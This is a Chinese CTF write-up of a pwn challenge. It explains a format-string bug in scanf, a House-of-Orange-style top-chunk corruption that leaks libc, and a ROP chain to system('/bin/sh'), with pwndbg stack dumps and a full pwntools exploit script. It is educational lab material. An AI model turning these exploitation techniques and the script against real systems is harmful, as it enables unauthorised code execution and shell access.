文件
链接:https://pan.baidu.com/s/13fHG2I0nl9LaNKwU9ZIOKw
提取码:iizk
ubuntu 16.04
漏洞点
__int64 say()
{
char buf[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+68h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("say ? ");
read(0, buf, 0x64uLL);
printf("? ");
__isoc99_scanf(buf);
printf("know");
return 0LL;
}
__isoc99_scanf(buf);
有一个格式化字符串漏洞,可以用来实现任意地址写。偏移的计算方法是 rsi, rdx, rcx, r8, r9
占据格式化字符串后面的前 5 个参数,第 6 个及后面的参数从栈顶开始放。
执行 scanf
函数之前的栈结构如下:
pwndbg> stack 20
00:0000│ rdi rsp 0x7fffffffddc0 ◂— 0x6161616161616161 ('aaaaaaaa')
01:0008│ 0x7fffffffddc8 —▸ 0x7ffff7dd260a (_IO_2_1_stderr_+202) ◂— 0x0
02:0010│ 0x7fffffffddd0 ◂— 0xa /* '\n' */
03:0018│ 0x7fffffffddd8 —▸ 0x555555556068 ◂— 0x20776f68732e337c ('|3.show ')
04:0020│ 0x7fffffffdde0 —▸ 0x7fffffffdf30 ◂— 0x1
05:0028│ 0x7fffffffdde8 —▸ 0x7ffff7a8782b (_IO_file_overflow+235) ◂— cmp eax, -1
06:0030│ 0x7fffffffddf0 ◂— 0x22 /* '"' */
07:0038│ 0x7fffffffddf8 —▸ 0x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2887
08:0040│ 0x7fffffffde00 —▸ 0x555555556068 ◂— 0x20776f68732e337c ('|3.show ')
09:0048│ 0x7fffffffde08 —▸ 0x7ffff7a7c80a (puts+362) ◂— cmp eax, -1
0a:0050│ 0x7fffffffde10 ◂— 0x0
0b:0058│ 0x7fffffffde18 —▸ 0x7fffffffde30 —▸ 0x7fffffffde50 —▸ 0x5555555554c0 ◂— endbr64
0c:0060│ 0x7fffffffde20 —▸ 0x5555555550d0 ◂— endbr64
0d:0068│ 0x7fffffffde28 ◂— 0xbda0b23c04f1a800
0e:0070│ rbp 0x7fffffffde30 —▸ 0x7fffffffde50 —▸ 0x5555555554c0 ◂— endbr64
0f:0078│ 0x7fffffffde38 —▸ 0x555555555492 ◂— jmp 0x5555555554b6
10:0080│ 0x7fffffffde40 ◂— 0x2ffffdf30
11:0088│ 0x7fffffffde48 ◂— 0xbda0b23c04f1a800
12:0090│ 0x7fffffffde50 —▸ 0x5555555554c0 ◂— endbr64
13:0098│ 0x7fffffffde58 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov edi, eax
利用思路
本题没有 free
函数,所以先利用如下手法执行一次 _int_free
,原理参考 House of orange:
add(0x10, "aaaa")
,这会泄漏分配的 chunk 的地址,该地址加0x10
便是 top chunk 的地址- 利用格式化字符串漏洞将 top chunk 的 size 段修改为
0xfe1
buf = "%7$s____" + p64(top_chunk + 0x8) data = p64(0xfe1) say(buf, data)
此时的栈结构如下:
00:0000│ rdi rsp 0x7fffffffddc0 ◂— "%7$s____" 01:0008│ 0x7fffffffddc8 —▸ p64(top_chunk + 0x8)
接下来就可以在 scanf 中写入 top chunk 的 size(
0xfe1
)
- 触发
_int_free
# 前 0xf 次 add 分配了 0xf*0x100=0xf00 的空间,到最后一次的时候只剩下 0xe0 的空间 # 由于剩余空间不足,ptmalloc 会调用 brk 再申请一块空间,并且将剩余的 0xe0 空间释放到 unsortedbin for i in range(0x10): add(0xf0, "aaaa") # 由于 0xb0+0x10<0xe0,故这块内存从 unsortedbin 中截取 """ 此时的 chunk 结构: p64(0) p64(0xc0) "aaaaaaaa" bk = main_arena + 88 """ add(0xb0, "aaaaaaaa")
泄漏了 main_arena
的地址之后就是一些常规套路:
main_arena = u64(sh.recv(6).ljust(8, '\x00')) - 88
# 定式: main_arena = __malloc_hook + 0x10
__malloc_hook = main_arena - 0x10
libcbase = __malloc_hook - libc.symbols["__malloc_hook"]
system = libcbase + libc.symbols["system"]
binsh = libcbase + libc.search("/bin/sh").next()
# 凡是涉及汇编的代码,都要在前面指明 context.arch
pop_rdi_ret = libcbase + libc.search(asm("pop rdi\nret")).next()
最后再利用一次格式化字符串漏洞来修改返回地址做 ROP。
pwndbg> stack 20
00:0000│ rdi rsp 0x7fffffffddc0 ◂— 0x6161616161616161 ('aaaaaaaa')
01:0008│ 0x7fffffffddc8 —▸ 0x7ffff7dd260a (_IO_2_1_stderr_+202) ◂— 0x0
02:0010│ 0x7fffffffddd0 ◂— 0xa /* '\n' */
03:0018│ 0x7fffffffddd8 —▸ 0x555555556068 ◂— 0x20776f68732e337c ('|3.show ')
04:0020│ 0x7fffffffdde0 —▸ 0x7fffffffdf30 ◂— 0x1
05:0028│ 0x7fffffffdde8 —▸ 0x7ffff7a8782b (_IO_file_overflow+235) ◂— cmp eax, -1
06:0030│ 0x7fffffffddf0 ◂— 0x22 /* '"' */
07:0038│ 0x7fffffffddf8 —▸ 0x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2887
08:0040│ 0x7fffffffde00 —▸ 0x555555556068 ◂— 0x20776f68732e337c ('|3.show ')
09:0048│ 0x7fffffffde08 —▸ 0x7ffff7a7c80a (puts+362) ◂— cmp eax, -1
0a:0050│ 0x7fffffffde10 ◂— 0x0
打这里,第17参数 -> 0x7fffffffde18 —▸ 0x7fffffffde30 # 因为 0x7fffffffde30 再后面一单元紧跟着的就是返回地址了
0c:0060│ 0x7fffffffde20 —▸ 0x5555555550d0 ◂— endbr64
0d:0068│ 0x7fffffffde28 ◂— 0xbda0b23c04f1a800
0e:0070│ rbp 0x7fffffffde30 —▸ 0x7fffffffde50 —▸ 0x5555555554c0 ◂— endbr64
0f:0078│ 0x7fffffffde38 —▸ 0x555555555492 ◂— jmp 0x5555555554b6
10:0080│ 0x7fffffffde40 ◂— 0x2ffffdf30
11:0088│ 0x7fffffffde48 ◂— 0xbda0b23c04f1a800
12:0090│ 0x7fffffffde50 —▸ 0x5555555554c0 ◂— endbr64
13:0098│ 0x7fffffffde58 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov edi, eax
exp
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
libc = ELF("./libc-2.23.so")
sh = process("./pwn1")
def choice(v3):
sh.recvuntil("choice: ")
sh.sendline(str(v3))
def add(sz, content):
choice(1)
sh.recvuntil("size: ")
sh.sendline(str(sz))
sh.recvuntil("content: ")
sh.send(content)
sh.recvuntil("addr: 0x")
addr = int(sh.recvuntil('\n', drop=True), 16)
print("addr = " + hex(addr))
return addr
def say(buf, data):
choice(2)
sh.recvuntil("say ? ")
sh.send(buf)
sh.recvuntil("? ")
sh.sendline(data)
top_chunk = add(0x10, "aaaa") + 0x10
buf = "%7$s____" + p64(top_chunk + 0x8)
data= p64(0xfe1)
say(buf, data)
for i in range(0x10):
add(0xf0, "aaaa")
add(0xb0, "aaaaaaaa")
choice(3)
sh.recvuntil("aaaaaaaa")
main_arena = u64(sh.recv(6).ljust(8, '\x00')) - 88
__malloc_hook = main_arena - 0x10
libcbase = __malloc_hook - libc.symbols["__malloc_hook"]
system = libcbase + libc.symbols["system"]
binsh = libcbase + libc.search("/bin/sh").next()
pop_rdi_ret = libcbase + libc.search(asm("pop rdi\nret")).next()
#gdb.attach(sh)
payload = 'a'*8 + p64(pop_rdi_ret) + p64(binsh) + p64(system)
buf = "%17$s"
data= payload
say(buf, data)
sh.interactive()